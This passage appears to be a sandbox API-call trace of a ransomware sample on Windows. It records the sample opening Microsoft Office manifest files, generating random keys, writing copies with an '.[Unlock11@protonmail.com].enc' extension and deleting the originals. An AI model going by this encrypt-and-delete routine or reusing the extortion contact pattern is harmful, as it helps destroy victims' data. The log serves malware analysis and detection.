FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.219] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.219] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.219] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.219] GetLastError () returned 0x0 [0134.219] GetCurrentThreadId () returned 0x9b0 [0134.219] GetLastError () returned 0x0 [0134.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6688 | out: hHeap=0x2ad0000) returned 1 [0134.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfa18 | out: hHeap=0x2ad0000) returned 1 [0134.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.220] GetLastError () returned 0x0 [0134.220] GetLastError () returned 0x0 [0134.220] GetCurrentThreadId () returned 0x9b0 [0134.220] GetLastError () returned 0x0 [0134.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.220] GetLastError () returned 0x0 [0134.220] GetLastError () returned 0x0 [0134.221] GetCurrentThreadId () returned 0x9b0 [0134.221] GetLastError () returned 0x0 [0134.221] GetLastError () returned 0x0 [0134.222] GetLastError () returned 0x0 [0134.222] GetCurrentThreadId () returned 0x9b0 [0134.222] GetLastError () returned 0x0 [0134.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x38293b8 [0134.223] GetCurrentThreadId () returned 0x9b0 [0134.223] GetLastError () returned 0x0 [0134.223] GetLastError () returned 0x0 [0134.223] GetLastError () returned 0x0 [0134.223] GetLastError () returned 0x0 [0134.223] GetCurrentThreadId () returned 0x9b0 [0134.223] GetLastError () returned 0x0 [0134.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38293b8 | out: hHeap=0x2ad0000) returned 1 [0134.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.224] GetLastError () returned 0x0 [0134.224] GetLastError () returned 0x0 [0134.224] GetCurrentThreadId () returned 0x9b0 [0134.224] GetLastError () returned 0x0 [0134.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3829900 | out: hHeap=0x2ad0000) returned 1 [0134.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.224] GetLastError () returned 0x0 [0134.224] GetLastError () returned 0x0 [0134.225] GetCurrentThreadId () returned 0x9b0 [0134.225] GetLastError () returned 0x0 [0134.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.225] GetLastError () returned 0x0 [0134.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.226] CloseHandle (hObject=0x3ac) returned 1 [0134.226] GetLastError () returned 0x0 [0134.226] GetCurrentThreadId () returned 0x9b0 [0134.226] GetLastError () returned 0x0 [0134.226] GetLastError () returned 0x0 [0134.227] CloseHandle (hObject=0x39c) returned 1 [0134.227] GetLastError () returned 0x0 [0134.227] GetCurrentThreadId () returned 0x9b0 [0134.227] GetLastError () returned 0x0 [0134.227] GetLastError () returned 0x0 [0134.227] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0134.228] GetCurrentThreadId () returned 0x9b0 [0134.228] GetCurrentThreadId () returned 0x9b0 [0134.228] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0134.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0134.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0134.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0134.229] GetCurrentThreadId () returned 0x9b0 [0134.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0134.229] GetCurrentThreadId () returned 0x9b0 [0134.229] GetCurrentThreadId () returned 0x9b0 [0134.229] GetCurrentThreadId () returned 0x9b0 [0134.229] GetCurrentThreadId () returned 0x9b0 [0134.229] GetCurrentThreadId () returned 0x9b0 [0134.230] GetCurrentThreadId () returned 0x9b0 [0134.230] GetCurrentThreadId () returned 0x9b0 [0134.230] GetCurrentThreadId () returned 0x9b0 [0134.230] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21)) returned 1 [0134.230] GetCurrentThreadId () returned 0x9b0 [0134.230] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b534 | out: pbBuffer=0x366b534) returned 1 [0134.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0134.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0134.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0134.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0134.231] GetCurrentThreadId () returned 0x9b0 [0134.231] GetCurrentThreadId () returned 0x9b0 [0134.231] GetCurrentThreadId () returned 0x9b0 [0134.231] GetCurrentThreadId () returned 0x9b0 [0134.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0134.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d65b8 [0134.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2ea0 | out: hHeap=0x2ad0000) returned 1 [0134.231] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.232] GetFileType (hFile=0x39c) returned 0x1 [0134.232] GetCurrentThreadId () returned 0x9b0 [0134.232] GetFileType (hFile=0x39c) returned 0x1 [0134.232] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.232] GetLastError () returned 0x0 [0134.232] GetCurrentThreadId () returned 0x9b0 [0134.233] GetLastError () returned 0x0 [0134.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0134.233] GetLastError () returned 0x0 [0134.233] GetLastError () returned 0x0 [0134.233] GetLastError () returned 0x0 [0134.233] GetLastError () returned 0x0 [0134.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6688 [0134.233] GetLastError () returned 0x0 [0134.233] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.234] GetFileType (hFile=0x3ac) returned 0x1 [0134.234] GetLastError () returned 0x0 [0134.234] GetCurrentThreadId () returned 0x9b0 [0134.234] GetLastError () returned 0x0 [0134.234] GetFileType (hFile=0x3ac) returned 0x1 [0134.234] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.234] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.234] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.235] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.235] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.235] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.235] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.235] GetLastError () returned 0x0 [0134.235] GetCurrentThreadId () returned 0x9b0 [0134.235] GetLastError () returned 0x0 [0134.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6688 | out: hHeap=0x2ad0000) returned 1 [0134.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfaa8 | out: hHeap=0x2ad0000) returned 1 [0134.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.235] GetLastError () returned 0x0 [0134.236] GetLastError () returned 0x0 [0134.236] GetCurrentThreadId () returned 0x9b0 [0134.236] GetLastError () returned 0x0 [0134.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0134.236] GetLastError () returned 0x0 [0134.236] GetLastError () returned 0x0 [0134.236] GetCurrentThreadId () returned 0x9b0 [0134.236] GetLastError () returned 0x0 [0134.236] GetLastError () returned 0x0 [0134.239] GetLastError () returned 0x0 [0134.239] GetCurrentThreadId () returned 0x9b0 [0134.240] GetLastError () returned 0x0 [0134.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.240] GetCurrentThreadId () returned 0x9b0 [0134.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.240] GetLastError () returned 0x0 [0134.240] GetLastError () returned 0x0 [0134.241] GetLastError () returned 0x0 [0134.241] GetLastError () returned 0x0 [0134.241] GetCurrentThreadId () returned 0x9b0 [0134.241] GetLastError () returned 0x0 [0134.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0134.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0134.241] GetLastError () returned 0x0 [0134.243] GetLastError () returned 0x0 [0134.243] GetCurrentThreadId () returned 0x9b0 [0134.243] GetLastError () returned 0x0 [0134.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.245] GetLastError () returned 0x0 [0134.245] GetLastError () returned 0x0 [0134.245] GetCurrentThreadId () returned 0x9b0 [0134.245] GetLastError () returned 0x0 [0134.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d65e8 [0134.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6708 | out: hHeap=0x2ad0000) returned 1 [0134.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.246] GetCurrentThreadId () returned 0x9b0 [0134.246] GetLastError () returned 0x0 [0134.247] GetLastError () returned 0x0 [0134.247] GetLastError () returned 0x0 [0134.247] GetLastError () returned 0x0 [0134.247] GetCurrentThreadId () returned 0x9b0 [0134.247] GetLastError () returned 0x0 [0134.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.248] GetLastError () returned 0x0 [0134.249] GetLastError () returned 0x0 [0134.249] GetCurrentThreadId () returned 0x9b0 [0134.249] GetLastError () returned 0x0 [0134.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.249] GetLastError () returned 0x0 [0134.250] GetLastError () returned 0x0 [0134.251] GetCurrentThreadId () returned 0x9b0 [0134.251] GetLastError () returned 0x0 [0134.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d65b8 [0134.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.252] GetCurrentThreadId () returned 0x9b0 [0134.252] GetLastError () returned 0x0 [0134.252] GetLastError () returned 0x0 [0134.253] GetLastError () returned 0x0 [0134.253] GetLastError () returned 0x0 [0134.253] GetCurrentThreadId () returned 0x9b0 [0134.253] GetLastError () returned 0x0 [0134.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0134.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.253] GetLastError () returned 0x0 [0134.255] GetLastError () returned 0x0 [0134.255] GetCurrentThreadId () returned 0x9b0 [0134.255] GetLastError () returned 0x0 [0134.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.255] GetLastError () returned 0x0 [0134.256] GetLastError () returned 0x0 [0134.256] GetCurrentThreadId () returned 0x9b0 [0134.256] GetLastError () returned 0x0 [0134.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6608 [0134.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.257] GetCurrentThreadId () returned 0x9b0 [0134.257] GetLastError () returned 0x0 [0134.257] GetLastError () returned 0x0 [0134.257] GetLastError () returned 0x0 [0134.258] GetLastError () returned 0x0 [0134.258] GetCurrentThreadId () returned 0x9b0 [0134.258] GetLastError () returned 0x0 [0134.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.258] GetLastError () returned 0x0 [0134.259] GetLastError () returned 0x0 [0134.259] GetCurrentThreadId () returned 0x9b0 [0134.260] GetLastError () returned 0x0 [0134.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.260] GetLastError () returned 0x0 [0134.260] GetLastError () returned 0x0 [0134.260] GetCurrentThreadId () returned 0x9b0 [0134.260] GetLastError () returned 0x0 [0134.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6648 [0134.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6608 | out: hHeap=0x2ad0000) returned 1 [0134.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.261] GetCurrentThreadId () returned 0x9b0 [0134.261] GetLastError () returned 0x0 [0134.261] GetLastError () returned 0x0 [0134.262] GetLastError () returned 0x0 [0134.262] GetLastError () returned 0x0 [0134.262] GetCurrentThreadId () returned 0x9b0 [0134.262] GetLastError () returned 0x0 [0134.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0134.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0134.262] GetLastError () returned 0x0 [0134.264] GetLastError () returned 0x0 [0134.264] GetCurrentThreadId () returned 0x9b0 [0134.264] GetLastError () returned 0x0 [0134.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.265] GetLastError () returned 0x0 [0134.265] GetLastError () returned 0x0 [0134.265] GetCurrentThreadId () returned 0x9b0 [0134.265] GetLastError () returned 0x0 [0134.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.265] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37940d0, Size=0x3d45) returned 0x37940d0 [0134.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6708 [0134.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6648 | out: hHeap=0x2ad0000) returned 1 [0134.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3d48) returned 0x381b008 [0134.266] GetCurrentThreadId () returned 0x9b0 [0134.266] GetLastError () returned 0x0 [0134.266] GetLastError () returned 0x0 [0134.266] GetLastError () returned 0x0 [0134.266] GetLastError () returned 0x0 [0134.267] GetCurrentThreadId () returned 0x9b0 [0134.267] GetLastError () returned 0x0 [0134.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0134.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.267] GetLastError () returned 0x0 [0134.267] GetLastError () returned 0x0 [0134.268] GetCurrentThreadId () returned 0x9b0 [0134.268] GetLastError () returned 0x0 [0134.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.268] GetLastError () returned 0x0 [0134.268] GetLastError () returned 0x0 [0134.268] GetCurrentThreadId () returned 0x9b0 [0134.268] GetLastError () returned 0x0 [0134.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.269] GetLastError () returned 0x0 [0134.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0134.269] CloseHandle (hObject=0x3ac) returned 1 [0134.269] GetLastError () returned 0x0 [0134.269] GetCurrentThreadId () returned 0x9b0 [0134.270] GetLastError () returned 0x0 [0134.270] GetLastError () returned 0x0 [0134.270] CloseHandle (hObject=0x39c) returned 1 [0134.270] GetLastError () returned 0x0 [0134.270] GetCurrentThreadId () returned 0x9b0 [0134.270] GetLastError () returned 0x0 [0134.271] GetLastError () returned 0x0 [0134.271] GetLastError () returned 0x0 [0134.271] GetLastError () returned 0x0 [0134.271] GetLastError () returned 0x0 [0134.271] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0134.275] GetLastError () returned 0x0 [0134.275] GetCurrentThreadId () returned 0x9b0 [0134.275] GetLastError () returned 0x0 [0134.275] GetCurrentThreadId () returned 0x9b0 [0134.275] GetLastError () returned 0x0 [0134.275] GetLastError () returned 0x0 [0134.275] GetLastError () returned 0x0 [0134.275] GetLastError () returned 0x0 [0134.275] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0134.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0134.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0134.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0134.276] GetCurrentThreadId () returned 0x9b0 [0134.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0134.276] GetLastError () returned 0x0 [0134.276] GetLastError () returned 0x0 [0134.276] GetLastError () returned 0x0 [0134.277] GetLastError () returned 0x0 [0134.277] GetCurrentThreadId () returned 0x9b0 [0134.277] GetLastError () returned 0x0 [0134.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0134.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0134.277] GetLastError () returned 0x0 [0134.277] GetLastError () returned 0x0 [0134.277] GetLastError () returned 0x0 [0134.277] GetLastError () returned 0x0 [0134.277] GetCurrentThreadId () returned 0x9b0 [0134.277] GetLastError () returned 0x0 [0134.278] GetCurrentThreadId () returned 0x9b0 [0134.278] GetLastError () returned 0x0 [0134.278] GetLastError () returned 0x0 [0134.278] GetLastError () returned 0x0 [0134.278] GetLastError () returned 0x0 [0134.278] GetCurrentThreadId () returned 0x9b0 [0134.278] GetLastError () returned 0x0 [0134.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0134.278] GetLastError () returned 0x0 [0134.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.279] GetLastError () returned 0x0 [0134.279] GetLastError () returned 0x0 [0134.279] GetLastError () returned 0x0 [0134.279] GetCurrentThreadId () returned 0x9b0 [0134.279] GetLastError () returned 0x0 [0134.279] GetLastError () returned 0x0 [0134.279] GetLastError () returned 0x0 [0134.279] GetLastError () returned 0x0 [0134.279] GetLastError () returned 0x0 [0134.279] GetCurrentThreadId () returned 0x9b0 [0134.279] GetLastError () returned 0x0 [0134.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0134.280] GetLastError () returned 0x0 [0134.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.280] GetLastError () returned 0x0 [0134.280] GetLastError () returned 0x0 [0134.280] GetLastError () returned 0x0 [0134.280] GetCurrentThreadId () returned 0x9b0 [0134.280] GetLastError () returned 0x0 